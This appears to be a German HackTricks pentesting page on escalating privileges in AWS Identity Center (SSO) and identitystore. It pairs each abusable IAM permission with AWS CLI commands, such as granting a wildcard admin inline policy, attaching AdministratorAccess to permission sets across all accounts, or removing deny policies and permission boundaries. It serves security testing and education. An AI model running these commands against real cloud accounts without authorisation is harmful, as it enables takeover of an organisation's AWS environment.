AWS - SSO & identitystore Privesc

Unterstützen Sie HackTricks

AWS Identity Center / AWS SSO

Für weitere Informationen zu AWS Identity Center / AWS SSO siehe:

AWS - IAM, Identity Center & SSO Enum

Beachten Sie, dass standardmäßig nur Benutzer mit Berechtigungen aus dem Management Account auf das IAM Identity Center zugreifen und es kontrollieren können. Benutzer aus anderen Konten können dies nur zulassen, wenn das Konto ein Delegierter Administrator ist. Überprüfen Sie die Dokumentation für weitere Informationen.

Passwort zurücksetzen

Ein einfacher Weg, um Berechtigungen in Fällen wie diesem zu eskalieren, wäre eine Berechtigung zu haben, die es ermöglicht, Benutzerpasswörter zurückzusetzen. Leider ist es nur möglich, dem Benutzer eine E-Mail zum Zurücksetzen seines Passworts zu senden, daher benötigen Sie Zugriff auf die E-Mail des Benutzers.

identitystore:CreateGroupMembership

Mit dieser Berechtigung ist es möglich, einen Benutzer in eine Gruppe zu setzen, damit er alle Berechtigungen erbt, die die Gruppe hat.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen für einen Berechtigungssatz gewähren, der einem Benutzer unter seiner Kontrolle gewährt wird.

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen für einen Berechtigungssatz gewähren, der einem Benutzer unter seiner Kontrolle gewährt wird.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen für einen Berechtigungssatz gewähren, der einem Benutzer unter seiner Kontrolle gewährt wird.

Um diese Berechtigungen in diesem Fall zu missbrauchen, müssen Sie den Namen einer kundenverwalteten Richtlinie kennen, die in ALLEN Konten bekannt ist, die betroffen sein werden.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Ein Angreifer mit dieser Berechtigung könnte einem Benutzer unter seiner Kontrolle einen Berechtigungssatz für ein Konto zuweisen.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Gibt die STS-Kurzzeitberechtigungen für einen bestimmten Rollennamen zurück, der dem Benutzer zugewiesen ist.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Allerdings benötigen Sie einen Zugriffstoken, von dem ich nicht sicher bin, wie man ihn erhält (TODO).

sso:DetachManagedPolicyFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Verknüpfung zwischen einer AWS-Managed-Richtlinie und dem angegebenen Berechtigungssatz entfernen. Es ist möglich, mehr Rechte zu gewähren, indem eine verwaltete Richtlinie (Verweigerungsrichtlinie) entfernt wird.

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Verbindung zwischen einer kundenverwalteten Richtlinie aus dem angegebenen Berechtigungssatz entfernen. Es ist möglich, mehr Privilegien zu gewähren, indem eine verwaltete Richtlinie (Verweigerungsrichtlinie) abgetrennt wird.

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Berechtigungen aus einer Inline-Richtlinie aus dem Berechtigungssatz entfernen. Es ist möglich, mehr Privilegien zu gewähren, indem eine Inline-Richtlinie (Deny-Richtlinie) abgehängt wird.

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Berechtigungsgrenze aus dem Berechtigungssatz entfernen. Es ist möglich, mehr Privilegien zu gewähren, indem die Einschränkungen auf dem Berechtigungssatz entfernt werden, die durch die Berechtigungsgrenze festgelegt wurden.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Unterstützen Sie HackTricks

Last updated